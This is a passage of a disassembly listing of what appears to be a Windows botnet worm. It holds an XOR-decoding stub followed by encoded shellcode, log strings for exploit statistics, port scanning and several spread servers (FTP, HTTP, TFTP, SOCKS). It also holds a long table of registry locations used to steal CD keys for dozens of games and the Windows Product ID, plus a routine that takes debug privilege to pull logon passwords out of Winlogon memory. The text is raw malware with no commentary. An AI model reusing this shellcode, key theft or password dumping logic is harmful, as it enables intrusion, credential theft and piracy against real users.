69706174h, 393331h dd 5 dup(0) dd 8Bh, 404F42h, 2 dup(0) dd 1, 6D7973h, 0 dd 79730000h, 746E616Dh, 6365h, 5 dup(0) dd 0B97h, 405088h, 0 dd 1, 0 dd 636874h, 0 dd 68540000h, 6C717363h, 6 dup(0) dd 599h, 40527Eh, 0 ; CODE XREF: sub_42AF96:loc_42AFABj dd 1, 10h dup(0) ; --------------------------------------------------------------------------- jmp short loc_42AFA6 ; =============== S U B R O U T I N E ======================================= sub_42AF96 proc near ; CODE XREF: sub_42AF96:loc_42AFA6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_42AF9E: ; CODE XREF: sub_42AF96+Cj xor byte ptr [edx+ecx], 99h loop loc_42AF9E jmp short loc_42AFAB ; --------------------------------------------------------------------------- loc_42AFA6: ; CODE XREF: ___:0042AF94j call sub_42AF96 loc_42AFAB: ; CODE XREF: sub_42AF96+Ej jo short near ptr dword_42AF44+2 cwde cdq cdq retn sub_42AF96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_407110+42o align 4 unk_42B134 db 2 ; DATA XREF: sub_407110+11o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_42B168 db 2 ; DATA XREF: sub_4071DB+42o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_42B198 db 2 ; DATA XREF: sub_4071DB+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42B1C8 db 2 ; DATA XREF: sub_407252+36Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_42B20C db 2 ; DATA XREF: sub_407252+307o ; sub_40EE72+54B9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_42B258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+267o dd 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_42B298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+1FAo dd 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_42B2E8 db 2 ; DATA XREF: sub_407252+149o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 unk_42B328 db 2 ; DATA XREF: sub_407252+DBo ; sub_40EE72+5343o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40762E+38o ; sub_40AEE0+46o unk_42B384 db 2 ; DATA XREF: sub_407767+EEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_42B3BC db 2 ; DATA XREF: sub_407767+93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_42B408 db 2 ; DATA XREF: sub_40797F+1CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_42B45C db 2 ; DATA XREF: sub_40797F+173o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_42B4A8 db 2 ; DATA XREF: sub_40797F+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_42B4F0 db 2 ; DATA XREF: sub_40797F+87o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 unk_42B538 db 2 ; DATA XREF: sub_407BDE+156o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 unk_42B584 db 2 ; DATA XREF: sub_407BDE+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B5DC db 2 ; DATA XREF: ___:00407F10o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 unk_42B62C db 2 ; DATA XREF: ___:00407E47o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_42B680 db 2 ; DATA XREF: sub_407FEA+1B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 10h unk_42B6C0 db 2 ; DATA XREF: sub_407FEA+18Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_42B708 db 2 ; DATA XREF: sub_407FEA+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B75C db 2 ; DATA XREF: sub_407FEA+A8o ; sub_40EE72+5E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_42B794 db 2 ; DATA XREF: sub_407FEA+3FEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_42B7E4 db 2 ; DATA XREF: sub_407FEA+38Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 unk_42B830 db 2 ; DATA XREF: sub_407FEA+2F7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085B3+11o aWindow db 'Window',0 ; DATA XREF: sub_4087EE+23o ; sub_4089E7+26o align 10h dd 80000001h off_42B894 dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr ; sub_408C26+21o ; "Software\\Valve\\CounterStrike\\Settings" ; --------------------------------------------------------------------------- push 500042CAh retf 42h ; --------------------------------------------------------------------------- dword_42B8A0 dd 2 dup(0) ; DATA XREF: sub_408C26+26o dd 80000001h, 42CA28h, 42CA1Ch, 42CA0Ch, 2 dup(0) dd 80000001h, 42C9ECh, 42C9E8h, 42C9D4h, 2 dup(0) dd 80000001h, 42C9B0h, 42C9E8h, 42C9A4h, 2 dup(0) dd 80000001h, 42C980h, 42C978h, 42C964h, 2 dup(0) dd 80000001h, 42C950h, 42C940h, 42C924h, 2 dup(0) dd 80000001h, 42C8E0h, 42CA68h, 42C8CCh, 2 dup(0) dd 80000002h, 42C8A0h, 42C894h, 42C874h, 2 dup(0) dd 80000002h, 42C840h, 42CA68h, 42C828h, 2 dup(0) dd 80000002h, 42C7F4h, 42CA68h, 42C7DCh, 2 dup(0) dd 80000002h, 42C7C4h, 42CA68h, 42C7ACh, 2 dup(0) dd 80000002h, 42C770h, 436EDCh, 42C760h, 2 dup(0) dd 80000002h, 42C728h, 436EDCh, 42C714h, 2 dup(0) dd 80000002h, 42C6C8h, 436EDCh, 42C6A8h, 2 dup(0) dd 80000002h, 42C658h, 436EDCh, 42C62Ch, 2 dup(0) dd 80000002h, 42C5F0h, 436EDCh, 42C5DCh, 2 dup(0) dd 80000002h, 42C5A4h, 436EDCh, 42C594h, 2 dup(0) dd 80000002h, 42C544h, 436EDCh, 42C518h, 2 dup(0) dd 80000002h, 42C4D8h, 436EDCh, 42C4BCh, 2 dup(0) dd 80000002h, 42C48Ch, 436EDCh, 42C46Ch, 2 dup(0) dd 80000002h, 42C430h, 436EDCh, 42C41Ch, 2 dup(0) dd 80000002h, 42C3D4h, 436EDCh, 42C3B4h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_42C360[eax], al fsubr qword ptr [esi+43h] add [eax], dh retn ; --------------------------------------------------------------------------- dw 42h dd 2 dup(0) dd 80000002h, 42C2E0h, 436EDCh, 42C2B4h, 2 dup(0) dd 80000002h, 42C274h, 42C26Ch, 42C24Ch, 2 dup(0) dd 80000002h, 42C208h, 436EDCh, 42C1ECh, 2 dup(0) dd 80000002h, 42C1A0h, 436EDCh, 42C17Ch, 2 dup(0) dd 80000002h, 42C148h, 436EDCh, 42C13Ch, 2 dup(0) dd 80000002h, 42C108h, 436EDCh, 42C0FCh, 2 dup(0) dd 80000002h, 42C0C8h, 436EDCh, 42C0BCh, 2 dup(0) dd 80000002h, 42C088h, 436EDCh, 42C07Ch, 2 dup(0) dd 80000002h, 42C040h, 436EDCh, 42C02Ch, 2 dup(0) dd 80000002h, 42BFF0h, 436EDCh, 42BFDCh, 2 dup(0) dd 80000002h, 42BFACh, 42CA68h, 42BF90h, 2 dup(0) dd 80000002h, 42BF70h, 42BF68h, 42BF44h, 2 dup(0) dd 80000002h, 42BF28h, 42BF68h, 42BF08h, 2 dup(0) dd 80000002h, 42BEE8h, 42BF68h, 42BEC4h, 2 dup(0) dd 80000002h, 42BEACh, 42BF68h, 42BEA8h, 2 dup(0) dd 80000002h, 42BE8Ch, 42BE7Ch, 42BE74h, 2 dup(0) dd 80000002h, 42BE40h, 42BE3Ch, 42BE24h, 2 dup(0) dd 80000002h, 42BDE8h, 42BDDCh, 42BDB4h, 42BDA4h, 42BD90h dd 80000002h, 42BD6Ch, 42BD60h, 42BD4Ch, 42BD3Ch, 42BD34h dd 80000002h, 42BD6Ch, 42BD60h, 42BD08h, 42BD3Ch, 42BD00h dd 80000002h, 42BD6Ch, 42BD60h, 42BCD0h, 42BD3Ch, 42BCC8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h byte_42C360 db 53h ; DATA XREF: ___:0042BAA2w aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 aCdkey db 'CDKey',0 align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o align 4 asc_42CA98: ; DATA XREF: sub_408C26+E9o ; sub_408C26+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_408C26+8Fo ; sub_40EE72:loc_413643o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C26+7Eo ; sub_408EE5+45o ... align 4 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo align 4 unk_42CABC db 2 ; DATA XREF: sub_408DCA+C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_42CAEC db 2 ; DATA XREF: sub_408DCA+5Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE5+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_408EE5+1Ao align 4 unk_42CB3C db 2 ; DATA XREF: sub_409037:loc_4091B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToEnable db ' Failed to enable Debug Privilege.',0 align 10h unk_42CB80 db 2 ; DATA XREF: sub_409037:loc_409183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindWi db ' Unable to find Winlogon Process ID.',0 unk_42CBC4 db 2 ; DATA XREF: sub_409037:loc_40917Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindTh db ' Unable to find the password in memory.',0 align 4 unk_42CC0C db 2 ; DATA XREF: sub_409037+117o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(no password)).',0 align 4 off_42CC84 dd offset byte_530055 ; DATA XREF: sub_409037+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004B+2 dd offset byte_4E0049 dd 0 off_42CC9C dd offset byte_530055 ; DATA XREF: sub_409037+CEo dd offset byte_520045 dd offset loc_41004B+3 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409037+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o ; sub_409037+161o ... align 10h unk_42CD60 db 2 ; DATA XREF: sub_409037+35o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aOnlySupportedO db ' Only supported on Windows NT/2000.',0 align 4 aMsgina db 